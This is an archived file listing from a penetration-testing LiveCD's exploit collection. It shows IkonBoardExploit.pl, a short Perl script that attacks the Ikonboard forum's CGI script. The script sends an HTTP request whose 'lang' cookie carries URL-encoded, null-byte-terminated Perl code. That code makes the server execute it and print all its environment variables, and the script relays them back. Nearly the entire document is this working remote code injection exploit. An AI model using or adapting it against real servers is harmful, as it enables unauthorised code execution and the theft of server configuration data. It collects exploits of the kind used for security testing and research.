home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ikonboard / IkonBoardExploit.pl < prev   
Perl Script  |  2005-02-12  |  566b  |  28 lines

  1. #!/usr/bin/perl -w
  2. use strict;
  3.  
  4. my $HOST = 'www.example.com';
  5. my $PORT = 80;
  6. my $PATH = '/cgi-bin/ikonboard.cgi';
  7. my $HEAD = qq|"Content-type: text/plain\r\n\r\n"|;
  8.  
  9. use IO::Socket;
  10.  
  11. my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";
  12.  
  13. my $val =
  14.      qq|.\0"if print($HEAD,map"\$_ => \$ENV{\$_}\n",keys\%ENV)&&exit;#|;
  15.  
  16. $val =~ s#(\W)# sprintf '%%%.2X', ord $1 #ge;
  17.  
  18. $sock->print(
  19.     "GET $PATH HTTP/1.1\r\n",
  20.     "Host: $HOST\r\n",
  21.     "Cookie: lang=$val\r\n",
  22.     "Connection: close\r\n",
  23.     "\r\n"
  24. ) or die "write: $!";
  25.  
  26. print while <$sock>;
  27.  
  28.